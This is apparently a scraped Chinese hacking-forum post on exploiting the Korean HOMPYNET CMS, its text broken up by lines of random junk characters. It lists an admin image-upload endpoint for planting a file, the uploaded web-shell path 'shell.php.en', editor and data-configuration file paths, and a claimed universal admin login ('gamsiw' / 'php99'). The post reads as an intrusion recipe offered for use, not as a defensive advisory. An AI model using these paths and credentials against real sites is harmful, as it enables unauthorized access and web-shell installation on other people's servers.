韩国HOMPYNET CMS漏洞

admin

上传漏洞  :
1 q5 [/ [4 ^# f
http://www.xxx.com/admin/image_a ... p;iname=&iform=
6 y4 H- I" x& Q5 U: `. v) b' S
1 M3 m* d2 Q4 I1 zhttp://www.xxx.com/admin/image_a ... p;iname=&iform=
4 a" W0 P# z1 K- n' a: b$ ~
1 t! K8 \4 ]( a上传后路径：

http://www.xxx.com/bis_web_page/images/shell.php.en
* W: U4 g# H+ I' C( Z
; R; S5 c/ L. j3 l+ J编辑器：

' n( a( H3 s! t. r1 v- ohttp://www.xxx.com/admin/editor/SWE.php

% ~; a! @" m4 B+ [$ b' khttp://www.xxx.com/program/editor/SWE.php

; f9 [  m! e  U, h9 V4 z8 ?5 _数据配置文件路径：
! `' D8 f6 Y  u  ^& U/ R) l
8 j- A$ a  s* u8 N$ Z9 Shttp://www.xxx.com/m_config/DATA/g_setting.php

此程序通用后台账号 ：gamsiw  php99

​
3 v; V: t2 Y8 [& V5 S1 W; N: J" j0 K
2 O# j/ W) N9 r. ]- W) p6 i